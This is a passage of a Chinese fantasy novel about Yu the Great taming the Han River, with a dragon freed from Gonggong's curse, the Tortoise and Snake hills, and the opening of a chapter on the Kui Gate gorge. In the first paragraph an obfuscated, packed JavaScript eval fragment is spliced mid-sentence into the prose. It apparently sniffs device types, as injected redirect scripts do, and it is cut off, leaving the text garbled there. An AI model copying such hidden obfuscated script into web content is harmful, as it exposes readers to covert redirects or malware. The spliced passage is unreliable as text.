禹的目光骤然一亮,伯益之言,总是能于大功告成之际,见微知著,想到更长远、更细微的善后与利用。他伸出右手,重重按在伯益的肩头:“益兄!疏散生灵,功德无量;谋划下游,更是思虑周详!得你相助,实乃万民之幸!” 随即,禹的目光扫过砺与羲青,最终看向伯益,声音沉静而有力,回荡在山水之间:“嶓冢已开,此乃我等同心协力之果。前路漫漫,汉水千里,尤需诸位鼎力!” 砺、羲青、伯益三人环绕着他,虽姿态各异,却眼神同样坚定。 这时,欢呼的人群中,一名三苗的青年民夫,面向奔流的漾水,唱出了豪迈的歌谣: “嶓冢既开,漾水东流。 禹率我众,石耜辟幽。 地火为骨,龙吟为辀。 人夫协力,川岳可平。 炎纹既沐,万世其休……” 更多的人加入进来,歌声在山谷与水声间回荡,苍凉而充满希望。 嶓冢山已开,而人族的力量,将是他治平天下水患最根本的倚仗。 嶓冢山岩壁崩裂的轰鸣犹在耳畔,平水土之师已沿新辟水道顺流东下。越往中游,两岸地势渐阔,原本在峡谷间咆哮的汉水开始展现出它另一面——水面愈发浩渺,流速却因失去约束而变得迂缓,浑浊的浪头不断啃噬着低洼的河岸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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禹的声音在黑暗中沉稳有力,既安抚了众人慌乱的心绪,也避免因随意移动导致船只失衡。 就在众人依言攥紧船帮的瞬间,幽深的河底骤然浮起几点流萤般的微光。初时不过三五星子,在水中轻轻摇曳,转眼便顺着水流蔓延开来,竟化作一条绵延十里的柔光缎带。那光晕清透如碎玉,又带着几分霜华般的凉意,不仅照亮了河面,更将船底下游弋的鱼群映照得须鳞分明,连鱼鳞上的纹路都清晰可见。羲青见状,连忙将手中尚未燃尽、还冒着微弱青烟的火把放在船板角落,生怕这点火星惊扰了这奇异的光景。 光影摇曳间,河面忽然泛起一层极淡的涟漪,似有一道绰约的女子身影在水波中轻轻一晃,便消失不见。空气中却留下一缕淡淡的兰芷清香,清雅绵长,驱散了河风带来的腥气。 “是汉水女神。” 羲青眼中闪过一丝了然,随即压低声音,语气里满是敬重,“十多年前我来这汉水勘查水位,那时沿岸的老渔翁便跟我说,这水里住着位性情高洁的女神,总爱把明珠佩在身上。方才那身影、这清辉,还有空气中的兰芷香,和老人们说的分毫不差!如今她现身放光,想来是感念我等为治水不辞辛劳,特意前来照亮前路啊。” 禹闻言,心中涌起一阵感激,当即朝着那身影消逝的方向郑重拱手一礼,以表谢意。借着这柔和却明亮的光晕,众人终于看清了河道的关键隐患:一处河湾下方隐藏着一块巨大的暗礁,礁石边缘锋利,若汛期水流加急,船只经过极易被撞毁;而对岸的崖壁土质松软,表层已出现细微裂痕,显然极易被河水冲刷坍塌,一旦溃决,很可能引发下游洪涝。此次夜勘的收获,远超众人预期,也为后续制定治水方案提供了至关重要的依据。 翌日,河工营大帐内,气氛凝重如铁。禹与僚属围在伯益新绘制的陶牌舆图前,正为汉水中游的危局苦思对策。伯益的手指划过云梦泽区域,声音低沉:“情况比预想的更糟。据沿岸苗民所言,云梦泽水位,每日上涨三指,倒灌沮、漳二水,荆山脚下苗民田舍悉数淹没。若上游再遇暴雨,不等丹阳部族疏通剩余河段,泽破堤溃,后果不堪设想!” 帐内一片死寂,唯有火把不安地跳动,将众人紧锁的眉头映照得忽明忽暗。那“每日三指”的警讯,如同无形的巨石压在每个人的心头。 突然—— 帐外传来一阵由远及近、越来越响的骚动,夹杂着士卒的惊呼与马儿不安的嘶鸣。这异常的喧哗立刻引起帐内众人的警觉。 “外面何事?”禹敏锐地察觉到异常,霍然抬头。 不等亲卫回报,一股温和却磅礴的威压已无声无息地笼罩下来,帐内的火光竟不由自主地摇曳、黯淡了数分。众人心下凛然,立刻起身,随禹一同掀帘出帐。 一出大帐,所有人都不约而同地倒吸了一口凉气,被眼前的夜空彻底震慑! 只见原本疏星朗月的天幕,此刻被一种柔和的、仿佛自内而外生发的七彩霞光所浸染。那光芒并不刺眼,却如水银泻地,驱散了深沉的夜色,将整个营地映照得宛如白昼,却又带着月光般的清冷。流云仿佛被无形之手梳理,环绕着光晕中心缓缓旋转。在这神异的天象之下,营地中的兵卒与民夫大多已跪伏在地,朝着天空顶礼膜拜。 紧接着,那七彩光晕的核心处,一道更为凝聚的青影破开云层,翩然而降。其姿态优雅从容,仿佛不是飞行,而是在星空间漫步。待它飞近,众人方能看清,那是一只何其神骏的青鸟!它的羽翼并非单一颜色,而是在青碧的底色上,流淌着彩虹般的光泽,仿佛将夜空中的极光披在了身上。它每一次扇动翅膀,都有星星点点的、带着微凉气息的光尘洒落,如同降下了一场梦幻的星雨。它的鸣声,清越悠扬,穿透夜幕,抚平了所有人因焦虑而紧绷的心弦。 青鸟在众人仰望的目光中,缓缓降落在帐前空地上,并非直接落地,而是优雅地悬浮在离地尺许的空中,仿佛脚下踏着无形的阶梯。它周身的光芒逐渐内敛,最终化作一位身着青霞流云裳的女子,容颜在七彩余晖的映衬下清丽绝俗,鬓边一枚翠羽印记仿佛还在微微闪光。她静静地立于那里,周身散发着与这凡尘营地格格不入的缥缈仙气。 她目光扫过众人,最终定格在禹的身上,并未开口,那清冷而带着空灵回音的话语却已在每个人心间清晰响起:“瑶姬殿下感知汉水水厄,念及司空治水之诚,心系苍生,特命小青,呈送《三澨水道图》,以助功成,解此倒悬。” 禹强压下心中的震撼,知是神人感应,天降援手。他立刻整肃衣冠,上前数步,对着青衣使者深深一揖,声音庄重而清晰:“禹,代天下万民,谢过瑶姬殿下厚恩,谢过使者星夜驰援之劳!” 青鸟微微颔首,素手轻扬,一块表面流淌着氤氲水汽与淡淡星辉的玉牒,自其袖中缓缓飘出,稳稳地飞向禹。 禹神色肃穆,双手高举过顶,以最虔诚的姿态接过玉牒。那玉牒入手冰凉温润,瞬间在他掌心化作一团流动不息、内蕴星辰光点的水光。他侧身,对使者及僚属道:“请使者帐内叙话,亦请诸位同观神授之图。” 众人簇拥着青鸟重新进入大帐。在帐内火把的映照下,当禹的指尖轻触那团奇异的水光,一幅无比精妙、仿佛由活水与星光共同绘成的立体水道图骤然展开,三条隐没于历史尘埃下的古河道清晰显现。 “三澨之水!”伯益一眼看出关键,“此乃上古分洪故道,年代久远,早已湮没无闻。得此图,云梦之危可解!” 青鸟见目的已达,再次微微颔首,旋即转身,步履轻盈如踏波而行,走出大帐。众人紧随其后。 回到帐外空地上,夜空中的七彩霞光已开始缓缓收敛。使者环顾四周,目光再次扫过在场的每一个人,那清冷的声音最后一次于众人心间响起:“水图已付,望司空善用之,泽被苍生,功德无量。” 言毕,她不再停留。周身七彩光华再次盛放,比之前更加璀璨,光影中青鸟之形再现,发出一声穿透云霄的清唳,随即冲天而起,如同一颗逆飞的流星,重新投入那尚未完全闭合的七彩光晕之中。随着她的离去,漫天的霞光迅速消退,星辰与月光重新成为夜空的主宰,那笼罩营地的威压与异香也渐渐消散在夜风里。 直到此时,营地方才爆发出巨大的、充满惊叹与希望的声浪。 皋陶立于帐门处,对身旁面露惊异的一名三苗民夫道:“此青鸟所飞临指引的路径,后世或可称之为‘三澨鸟道’。” 目标既定,全军振奋。砺立即调配人手,根据水道图,兵分三路,开挖三条澨水通道。工程初期颇为顺利,民夫们士气高昂,掘土开渠,进度甚快。 然而,就在第一条澨水通道掘进至深处时,异变陡生! “啊——!”凄厉的惨叫从坑道中传来。只见破开的土层下,猛然窜出无数漆黑的藤蔓,形如枯骨,快如毒蛇,瞬间缠住几名民夫的手脚。凡被藤蔓触及肌肤处,立刻发出“嗤嗤”声响,迅速溃烂流脓,散发出刺鼻的恶臭。 “退!快退出来!” 砺双目圆睁,吼声震得坑道簌簌落土。他反手抽出背上千钧破巨斧,斧刃寒光一闪,“咔嚓” 斩断几根扑来的藤蔓,那断口处竟汩汩流出粘稠的黑血,落地时还冒着细微的白泡,显然毒性剧烈。眼见三名伤者倒在坑道边缘,创口脓血直流,砺心头发紧,猛地转头看向身后:“木鹞!” 正在挖土的木鹞放下石铲,应声上前。“工正!”“速去营中请巫盼与辛夷姑娘带足解毒草药赶来!迟则生变!” 砺的语气里满是急切。木鹞见此情景,也知事态紧急,当即拱手应道:“我这就去!” 说罢拔腿就往营地方向狂奔,身影很快消失在夜色里。 不过半柱香的功夫,巫盼提着赭色皮药囊,身后跟着挎着竹编药篮的辛夷,快步赶到坑边。巫盼蹲下身,指尖翻飞间从囊里拣出几株带着露水的鲜草药,对辛夷道:“速将新采的菊花捣烂,多绞些汁液!” 辛夷立刻应下,取出石臼快速捣药,青绿的草药汁很快顺着石臼边缘渗出。 巫盼接过药泥,连汁带渣敷在伤者溃烂的创口上,又让辛夷撕下腰间麻布紧紧裹住。可不过片刻,麻布下便渗出暗红脓血,伤者的呻吟愈发痛苦,溃烂处非但没有收敛,反而朝着四肢蔓延,显然单靠外敷草药难以压制剧毒。 巫盼眉头紧锁,思忖片刻,又摸出砭石,示意辛夷取来营火余烬:“用火燎一燎石刃!” 辛夷迅速用木筷夹起砭石,在火上快速燎过,借余火消去石上杂质。巫盼接过砭石,按住一名伤者手臂近心处的筋络,沉声道:“忍着!此石能放毒血!” 话音未落,砭石尖刃已轻轻刺入伤者肘间的血脉,黑紫色的毒血顺着石刃缓缓流出,滴在土中竟将黄土染成暗黑色。 辛夷在旁紧紧扶住伤者另一只手臂,不时用干净麻布擦拭溢出的毒血,又将绞好的菊花汁递到伤者嘴边:“喝点草药汁。” 另两名伤者也依样施为,毒血排出、草药汁入喉后,他们的呻吟稍缓,却仍面色惨白如纸 —— 砭石与草药虽暂阻毒素攻心,却未能根除剧毒,创口处的溃烂依旧隐隐作痛,显然这藤蔓之毒远超寻常毒物。 此时,一名来自三苗部族的民夫脸色铁青地挤上前来,他蹲下身,用随身石刀挑起一点藤蔓断口处的黑粘液,在鼻下极轻地嗅了嗅,随即猛地后退半步,声音发颤却异常肯定:“此非寻常毒物,而是‘龙怨瘴’!必是黑龙以精血怨气污染地脉,化为此毒守护领地。它是在警告我们——不得触动其栖身之所!” 消息像野火般在营中蔓延,本就因毒藤受惊的民夫们,此刻更被 “诅咒” 二字摄住心神,恐慌与沮丧如同阴云般笼罩营地。无人再敢靠近坑道,三条澨水通道的工程,被迫彻底停滞。 当夜,禹的营帐内灯火通明。伤者的呻吟不时传来,敲打着每个人的心。 “必须尽快解决黑龙之患。”禹沉声道,“但我观此龙,怨气虽深,却并非毫无理性。” 羲青将墨玉星盘置于案上,其上天象与地脉光纹交织,她指向柳宿分野,那里星光晦暗,隐有赤气纠缠:“星盘示警,此地域地脉紊乱,煞气凝聚,与共工残魂作乱之兆相合。黑龙盘踞于此,恐非偶然。” 伯益沉吟道:“黑龙盘踞汉水之畔,却非水神。据古老传说,它或是此地山渊潜藏的龙灵,往昔与人族互不侵犯。然如今人族繁衍,拓土开荒,加之共工乱其神智,方使其戾气日盛。” 皋陶肃然道:“然则,云梦泽危在旦夕,分洪之势,不可因一龙之阻而废。” 禹静听各方之言,目光扫过舆图上那三条关乎百万生灵的河道,最终决断:“我当亲往,一会此龙。” 是夜,禹独携颛顼玄圭,至白日出事河段。四野寂静,他将玄圭浸入水中,心神沉静,默念沟通之意。 良久,一个苍老、疲惫而充满怨愤的龙语,直接在他心神中响起:“人族……你们的手,伸得太长了!昔日山林尽归鸟兽,渊薮任由龙蛇。如今,尔等伐木垦田,筑室建城,步步紧逼!而今,竟连这最后几条与汉水相连的潜流故道,也要夺去么?那些毒蔓,不过是吾之精血所化,守护这最后的栖身之所!不犯吾境,自可相安;若再深入,休怪无情!” 随着龙语,玄圭青光流转,禹窥见些许记忆碎片:一条古老的黑龙,原本盘踞于汉水之畔的深山幽潭,与世无争。随着人族部落繁衍,山林渐辟,其活动范围日蹙。更因共工撞倒不周山后,其溃散的残魂戾气侵扰水脉,也潜移默化地侵蚀着它的心智,放大了它对失去家园的恐惧与对人族的怨恨。那三条澨水古道,恰好流经它最重要的几处潜修之地与孕育后代的隐秘水府。 禹心中明了,沉静回应:“尊神之困,禹已知之。然尊神可知,逼仄龙族生存之境的,非独人族繁衍,更是那肆虐水脉、搅乱乾坤的共工遗祸!其残魂所至,水失其性,或泛滥成灾,或枯竭断流,山林为之改易,鸟兽龙蛇皆失其所。我疏导天下之水,正是要斩除此獠,重定水序,使江河安流,万物各得其所!届时,尊神亦可得清净道场,何必因守眼前三澨之地,而与天下生灵为敌,更纵容那共工遗毒继续祸乱此间?” 水面微微波动,黑龙的意念带着讥诮:“大言炎炎!尔等人族,历来巧取豪夺!吾凭什么信你?” “凭我手中神农耜,可引地火,亦能滋养万物;凭我身后万千民,欲求生路,亦愿共荣天地。”禹的声音铿锵有力,“若尊神愿助我平定水患,驱逐共工遗毒,我愿立誓,待水患平息,必划定山川,使人龙各有界限,互不侵犯,并助尊神净化此地水脉,恢复清幽!” 水面陷入长久的沉寂,唯有夜风吹拂。那黑龙的怨气似乎有所松动,但数百年的隔阂与不信任,并非三言两语所能化解。 良久,龙语再响,少了些许暴戾,多了几分审视与试探:“空口誓言,终是虚妄……尔若真有诚意与能力,先证明给吾看!那共工残魂如附骨之疽,吾亦深受其苦……若你能先助吾摆脱此困,再谈其他不迟!” 沟通暂止,一线微弱的契机已然显现,但前路,依旧布满荆棘。 回营之后,禹召集核心成员商议:“黑龙受共工残魂侵蚀之苦,此为其狂躁根源,亦是我等破局之钥。需设法助其净化,至少,需证明我等有此能力与决心。” 羲青以墨玉星盘推演,指出沧浪矶附近水域,水脉阴煞之气最为浓重,应是共工残魂盘踞、侵蚀黑龙的核心节点。“若能净化此地,或可减轻黑龙痛苦,证明我等诚意。” 伯益提出:“共工属水,其残魂至阴至寒,需以至阳至正之力克制。地火虽烈,然过于暴戾,恐伤及黑龙本体与水族。” 禹沉吟片刻,目光落在神农石耜之上:“神农耜乃圣皇遗泽,蕴含大地生发与包容之力,或可尝试引导其中温煦阳和之气,而非狂暴地火,徐徐净化水脉。” 计议已定,禹率众再至沧浪矶。他请五小龙各据五行方位,以自身龙元调和此地紊乱的水灵之气,营造一个相对稳定的环境。 禹则独自立于一块巨大的礁石上,将神农石耜深深插入礁石缝隙,闭目凝神,将自身意志与石耜中蕴含的、属于神农圣皇滋养万物、平定水土的古老意念相合。他周身开始散发出一种温润而磅礴的气息,不同于地火的暴烈,更像春日阳光融化积雪,温暖而坚定。 石耜的尖端泛起柔和的黄光,那光芒如涟漪般扩散至水中。起初,浑浊的江水并无明显变化,但随着时间推移,水中那令人不适的阴寒煞气,似乎被这黄光一点点中和、驱散。水面甚至泛起细微的、充满生机的气泡。 “有效果!”岸边的伯益低声道。他能感觉到,周围那股令人压抑的气息正在减轻。 然而,净化过程绝非一帆风顺。当禹的力量触及水脉深处那团最为浓稠的共工残魂时,异变突生! “吼——!” 一声饱含痛苦与暴怒的龙吟自水底炸响!整个沧浪矶的水面瞬间沸腾,黑色的怨气如同墨汁般从水底涌出,试图污染、吞噬那温暖的黄光。黑龙庞大的身躯被迫浮现,它的右眼此刻已完全被浑浊与疯狂占据,左眼则在金黄与痛苦间剧烈挣扎。共工的残魂感受到了威胁,正在疯狂反扑,试图完全控制黑龙! “禹!小心!共工残魂在反噬!”苍鬃急声提醒。 此刻的黑龙,已近乎完全失控,右爪裹挟着滔天怨力,猛地向禹拍来!那力量,足以崩碎山崖! 避无可避! 禹目光一凝,知道此刻若退,前功尽弃,黑龙将彻底沉沦。他必须展现出足以压制共工残魂的力量,才能赢得黑龙内心深处那一线清明的信任! 他长啸一声,不再仅仅引导滋养之力,神农石耜中蕴含的、用于开辟险阻的磅礴伟力轰然爆发!他并未攻击黑龙本体,而是将力量集中于石耜,迎着那巨大的龙爪,猛地向前一“划”! 没有惊天动地的碰撞声,只有一种奇异的、仿佛空间被割裂的“嗤啦”声。一道凝练到极致的黄白色光刃自石耜尖端射出,并非斩向龙爪血肉,而是精准无比地切入了缠绕在龙爪乃至黑龙右半身的、那些如有实质的黑色怨气链条! “滋啦——!” 如同烧红的烙铁烫入冰雪,那浓稠的怨气在与光刃接触的瞬间,发出刺耳的声响,迅速消融、蒸发!光刃去势不减,沿着怨气最浓郁的路径,最终掠过那根作为共工残魂主要依附点的、扭曲变形的右角! “咔嚓!” 那根罪恶之角应声而断!粘稠如原油的黑血喷涌而出,落水即化做黑烟消散,其中似乎还夹杂着一声若有若无的、充满不甘与怨毒的尖啸! “嗷呜——!” 黑龙发出了撕心裂肺的惨嚎,巨大的身躯在江面上剧烈翻滚,断角处黑气狂涌,但其右眼中的浑浊与疯狂,却如同潮水般迅速退去,只留下巨大的痛苦与一片逐渐清明的虚弱。 良久,风浪渐息。黑龙停止了翻滚,悬浮在水面,剧烈地喘息着。它看着自己断角的伤口,又看向因为净化怨气、疏导水流而显得疲惫却依旧站得笔直的禹,那双恢复清明的龙目之中,充满了复杂的情绪——有解脱,有后怕,更有了一丝难以言喻的感激与认同。 它低垂下巨大的头颅,龙语直接传入禹心中,带着前所未有的虚弱与平和: “……多谢……斩断……枷锁……那无尽的呓语……终于……停了……” 它顿了顿,看向满目疮痍的河岸与自己造成的破坏,眼中流露出愧疚,“此地……因我之故……我会……协助修复……” 它仰天长吟,声音虽不如前洪亮,却带着清晰的召唤之意。汉水中的水族纷纷涌来,在它的指引下,开始搬运巨石、清理河道。 阻碍既除,三澨水道工程在黑龙的默许与水族协助下,以极快的速度推进、贯通。汹涌的汉水洪峰被成功分流,一部分注入古云梦泽的湖沼区蓄存,一部分通过其他澨水减缓水势,云梦泽水位上涨之势立刻得到缓解。 然而,最后的难题横亘在前——汉水入江之口。 然而,治水的最后一道难关,如同铁锁横江,牢牢卡在汉水与大江的交汇之处。两股浩荡水流的全力冲撞,在此激起千层浊浪,其势足以摧垮山峦。砺带领夏人与三苗勇士,以血肉之躯抗住激流,将无数巨石、巨木沉入江底,垒起堤基。然而,那狂暴的江流如同无形的巨兽,一次次将辛辛苦苦筑起的根基瞬间撕碎、卷走,只留下满目狼藉。人力在此刻显得如此渺小,挫败感如同阴云笼罩在每个人心头。 就在众人心力交瘁之际,一直于江畔静观、时而潜入水底探查的玄龟与玄蛇,忽然游至禹的面前。它们巨大的身躯在浑浊的江水中若隐若现,目光中却带着一种洞悉一切的沉静。 玄龟昂起头颅,声如沉钟,回荡在波涛之上:“司空,吾等镇守此江渎,目睹尔等为平息水患,不畏艰险,乃至黑龙亦被感化。此江汉交汇之险,非纯赖人力可定。天地有序,水脉有灵,需有镇守之力,方能定鼎狂澜,使清浊自分,两水安流。” 玄蛇随之昂首,其音清越,直透心扉:“吾与玄龟,受命镇守于此,已历千载。今愿以此身合于地脉,永镇此口,非为牺牲,乃是归位,亦是成全。以此功德,护佑此方水土,万世安宁。” 它们并非一时冲动,而是看清了局势,做出了作为江渎镇守的职责所在,亦是顺应时势的最终抉择。此言一出,岸上众人无不动容。以自身灵躯永镇狂澜,此等胸怀与决断,远超寻常意义上的牺牲。 禹肃然起敬,整肃衣冠,对着这两位古老的守护者深深一揖,声音庄重而恳切:“二位尊者洞察天地至理,愿舍自在之身,永镇狂澜,护佑苍生。此功德,上感于天,下铭于地,万民永祀,与山河同寿!” 玄龟、玄蛇不再多言,彼此对视,眼中是千载相伴的默契与共同履责的决然。它们周身泛起浓郁而平和的青光,那光芒并非刺目,却蕴含着与江河大地同源的力量。在所有人的注视下,它们的躯体在青光中与地脉水势相合,不断增长、变形,最终化作两座巍峨的山峦,一似神龟伏波,一似灵蛇盘绕,稳稳地坐落在了江汉交汇最为要害之处。 说来也奇,这两座“龟山”、“蛇山”一成,仿佛天然便具备梳理水势的伟力。原本狂暴不驯的江流,如同被无形之手轻轻抚平了逆鳞,变得温顺起来。汉水沿着新开的河道,安然注入大江,清浊之水在此交汇、融合,再无之前那毁天灭地的撞击与纠缠。 也正是在这历史性的一刻,在伯魁、石厉、梦羽、阳华、符禺等所有三苗部落首领的带领下,成千上万的三苗百姓,从沿岸的丘陵、村寨汇聚到地势较高的江岸。他们扶老携幼,目光紧紧盯着那终于驯服、奔流入江的汉水。许多人脸上充满了难以置信的神情,继而化为巨大的喜悦与释然。他们亲眼见证了源头嶓冢山的开辟,经历了中游三澨水道的波折与黑龙的降服,直至此刻,目睹了这最后,也是最艰难的交汇之役的完成。 不知是谁先起了个头,苍凉而质朴的三苗古调响起,随即,成千上万的声音加入进来,汇成了一曲献给新生汉水,也献给所有治水者的赞歌: “嶓冢开颜,漾水东驰。 三澨既道,云梦攸滋。 江汉有章,龟蛇永持。 黍稷盈畴,吾土吾儿。 夏苗同心,共此岁时。 帝力何有?安居可知!” 歌声在江面上飘荡,与奔流的江水声交织,充满了对未来的希望与部族融合的朴素情感。 伯益将最后一片刻着新水道图的陶牌,郑重嵌入舆图的空缺处,上面是他以古篆刻下的四个字——“汉水安流”。他抬起头,目光掠过波光粼粼的江面,落在远处堤坝旁那一方新成的深潭。断了一角的黑龙正静静盘踞其中,断角处已生出莹润如玉的新骨。它用巨大的龙尾,极其轻柔地拂过岸边新栽的柳枝,目光沉静,仿佛在守护这得来不易的安宁。 “司空,”伯益轻声道,“它似乎已将此潭,视作了新的家园。” 然而,羲青却步履略显急促地走来,手中墨玉星盘上的井宿、鬼宿分野,代表水脉异常扰动的光点正不安地闪烁。“共工残魂并未被彻底净化,它遁走了,速度极快。”她抬起头,望向巫山方向,天际已有暗沉的风云在汇聚,“它的下一处目标,恐怕是岷山,是岷江。” 禹默然颔口,走到水边,再次从随身皮囊中取出一捧泥土——这是汉水汇江之处的土。他将它与之前收集的积石山土、龙门山土、岷山土、嶓冢山土小心混在一处。收起皮囊,他的目光越过巍然屹立的龟蛇二山,投向那更遥远的、传说中水系更为纷繁复杂的南方。一股湿润而未知的气息,似乎已提前从那片广袤的土地上弥漫过来。 汉水虽已安流,天下水患未平。新的、或许更为庞杂艰险的征程,已在脚下展开。 17. 第17章:夔巫凿峡 汉水虽平,不过解其一支;长江主干,尤其是那锁钥荆楚、贯通巴蜀与吴越的咽喉之地——三峡,若不能打通,上游万川之水无路可归,则荆州泽国难免复为鱼鳖之所。 眼前的景象令人屏息:群山如巨龙脊背连绵起伏,一道深邃的峡谷嵌入其中,江水自峡内奔涌而出,其势如万马奔腾。然而,就在这峡谷的入口处,两岸山崖骤然收束,形成一道极其狭窄、形如门户的隘口,这便是后世所称的“夔门”。此刻的夔门,远非后世所见那般相对开阔,其狭窄处仅如一线,黝黑的岩壁仿佛随时会合拢,将江水彻底掐断。怒涛在此被疯狂挤压,拍击着岩壁,发出震耳欲聋的咆哮,激起漫天水雾。空气中弥漫着水汽与岩石的冷峻气息。 “峡口之狭,竟至于斯!”禹卓立船头,凝视着那道仿佛天神刻意收紧的“瓶口”,声音凝重。江水至此,流速骤增,形成巨大的漩涡,舟船难近。这便是他们必须拓宽的第一道,也是最关键的一道关卡——夔门。 营寨依山势而立,与在汉水时不同,此地山势陡峭,几无平坦之地可供驻扎。民夫们只能在稍缓的坡地凿出台阶,搭建简易的窝棚。炊烟在湿重的雾气中艰难升起,旋即被江风吹散。 核心僚属齐聚禹那间仅能容身的草棚。伯益以炭枝在夯土台面勾画夔门水道,沙盘间插竹签标记险处。“司空,据闻夔门内有巨礁‘滟澦堆’,舟楫遇之即殁。两岸皆青罡石山,昔日嶓冢之凿,不及其半。” 砺用指节重重敲了敲图上代表山岩的区域,发出沉闷的响声,他眉头紧锁:“我已带人探查过,山岩坚硬异常,凿上去不过留下几道白痕。若要强行开凿,非但耗时日久,民夫伤亡亦将极其惨重。需寻其天然裂隙,或……另辟蹊径。” 羲青手中的墨玉星盘在此地光华流转不定,时而明亮如昼,时而晦暗如夜。“此地水脉与地脉纠缠极深,煞气凝重,灵机紊乱。星盘感应,峡内确有巨大阻滞,非仅此一礁,整个水道仿佛被无形之力扼住咽喉。”她抬头看向禹,眼中带着忧色,“强行破之,恐引动地脉剧变,山崩石裂,后果难料。” 皋陶则关注着人心:“此地巴、蜀、楚诸部杂处,语言风俗各异,对我等心存疑虑。需尽快与沿岸部落沟通,阐明利害,争取助力。律令亦需重申,此等险地,稍有不慎,便是万劫不复。” 禹静听众人之言,目光始终未离那幅地图。夔门之险,如同一块冰冷的巨石压在他心头,但他深知,越是天险,越需沉稳。“诸君所言,皆是要害。”禹的声音打破了帐内的沉寂,沉稳有力,“夔门之塞,形神皆固,非一蹴可破。然我平水土之师,一路行来,所破天险何止一处?倚仗者,无外乎察、谋、力、众四字。” 他目光扫过众人,开始部署:“伯益、皋陶,你二人即刻持我玄圭信物,前往联络沿岸巴、蜀诸部首领。务必陈明利害,三峡不通,上游之水壅塞,则巴蜀之地亦难保全。恳请他们派出熟悉水情山势的向导,并征调民夫,集两岸之力,共克此艰。” “砺,你率工正所属,并岳卫锐士,先行清理峡口外围,开辟施工场地。同时,仔细勘察山岩结构,寻找天然裂隙与相对薄弱之处,先行尝试小规模开凿,务必摸清此间岩石特性。” “羲青,你与我带领勘测队,沿峡口两岸详细记录水势、风向、暗流漩涡,并以星盘感应地脉走向。我等需对夔门之‘形’与‘势’,了如指掌。” 众人领命,各自行动。 伯益与皋陶深知,欲破夔门,必先融入此地。他们摒弃了正式召见的做法,而是分头沿江拜访,倾听各部的忧虑与诉求。 数日后,在夔门上游一处江水相对平缓、名为“鲶鱼滩”的岸边高地,一场别开生面的“滩头盟会”就此举行。没有屋顶,没有围墙,只有猎猎江风、轰鸣水声与苍茫天地。篝火在巨大的鹅卵石滩上点燃,烤鱼的香气与江水的腥味混杂。 禹及其核心成员早早到达,皆是寻常葛布衣衫,与先到的一些部落长老、猎人随意交谈。 最先露面的是一个精瘦黧黑的年轻人。他独自驾着一叶窄长如柳叶的独木舟,逆着湍流灵巧地靠岸,背上那张几乎与他等高的硬木弓格外醒目。他径直走到禹面前,声音带着江风般的冷硬:“我是夔部的阿獃。”他报上名字,如同投出一块石头,“隆伯让我来看看,你们是不是只会说大话的旱鸭子。”他口中的隆伯,便是夔部落首领夔隆。阿獃是部落最好的猎手与操舟手,也是三年前死于滟澦堆的那个年轻人的挚友,他带着审视与怀疑而来。 接着,江面传来清越的骨笛声。三艘船首雕刻着巴蛇图腾的独木舟破浪而来。为首船头立着一位中年女子,正是巴蛇部的首领巴蔓。她仅以一枚兽骨簪发,身着防水桐油涂抹过的短褐,目光如她崇拜的巴蛇般冷静而充满戒备。她登岸后并不急于寒暄,而是仔细查看平水土之师停泊的船只和堆放的器械,尤其是那些青铜工具,她的手指甚至轻轻拂过斧刃,感受其质地。 “巴蛇部,巴蔓。”她向禹简单致意,声音平稳,“这江,吞过无数自以为是的弄潮儿。司空,你的船,经得起几个浪头?”她的质疑,直接而实际。 最后到来的是丹犁部的队伍,他们并非从水路,而是沿着山间小径下来。首领犁老在两位族人搀扶下走来,他身形佝偻,脸上布满皱纹,但眼神温和。他手中没有权杖,只握着一支新鲜的、散发着清香的药草。 “老朽丹犁部犁老,闻司空至,特来拜会。”他的声音苍老却清晰,并递上那支药草,“山间瘴气重,此草可解。一点心意,莫要嫌弃。” 禹接过药草,郑重道谢,随即请各位围着篝火坐下。他没有站在中央,而是与众人一样,坐在一块大石上,开门见山:“诸位首领,兄弟,禹此番南来,不为征伐,只为治水。这夔门锁江,水患频仍,受苦的是两岸生灵。禹恳请诸位,借我一双识得水性的眼,借我一条熟悉山势的路。” 阿獃立刻接口,语气带着刺:“眼?路?我们夔部的人,眼睛够亮,路也够熟!可结果呢?我兄弟阿鲟,眼亮得像星星,路熟得像自家手心,去年想去摸清滟澦堆东侧的暗流,一个浪头下去,人就没了!连尸首都找不回来!你们能比阿鲟更懂这江水?”他的话语里充满了失去至亲好友的痛楚与对未知力量的恐惧。 巴蔓冷静地补充,目光扫过伯益和皋陶:“司空,信任需要根基。我巴蛇部居于巫峡,靠山吃山,靠水吃水。你们若要开山,动了山神根基,塌了我们的吊脚楼,毁了捕鱼的深潭,该如何补偿?你们若有伤亡,抚恤几何?若半途而废,烂摊子谁收拾?空口白话,难以服众。”她关注的是具体的生存保障与部落利益,理性而务实。 犁老则缓缓道:“水能害人,亦能养人。此间水道,亦是生灵往来之路。老朽只问一句,司空疏导之水,可能惠及我丹犁部那千亩缺水的山田?治水之功,可能让我各部往来更易,互通有无?”他着眼的是更长远的生存与发展,超越了单纯避祸的层次。 面对这些具体而尖锐的问题,伯益与皋陶展现了与汉水时期不同的应对策略。 伯益没有直接反驳阿獃,而是走到他身边,与他一同望向江心那如同怪兽般时隐时现的滟澦堆,声音平和而充满理解:“阿獃兄弟,失去至亲之痛,锥心刺骨。我等一路行来,见过太多如阿鲟兄弟般的勇士,他们不是死于水,而是死于对水的不了解。”他指着那翻滚的江水,“你看那漩涡,看似混乱,实则有其规律。我等有地师,可借星盘感应水下暗流走向;有善于测绘者,可绘制精确水图。我们不需要勇士用性命去试探每一个暗礁,而是要先看清它的全貌,找到最安全的破局点。我们需要你的经验,不是让你去送死,而是让你带领我们,更聪明地避开危险。” 接着,他转向巴蔓,神情郑重:“巴蔓首领所虑,皆是根本。皋陶大人执掌‘工正之律’,凡工程所至,损一木,偿以盐;毁一屋,助其重建;若有伤亡,抚恤标准在此——”皋陶适时展开一道刻有律条的兽骨,上面清晰地刻着赔偿与抚恤的细则,“此律,不仅约束我夏人,亦适用于所有助役各族。工程进退,每日进展,皆公示于众,各部可派员随时监看。若因我方之失,造成贵部损失,依律三倍赔偿,绝无虚言!”皋陶的声音斩钉截铁,将承诺落在了实实在在的规则与惩罚上,这是他建立信任的方式。 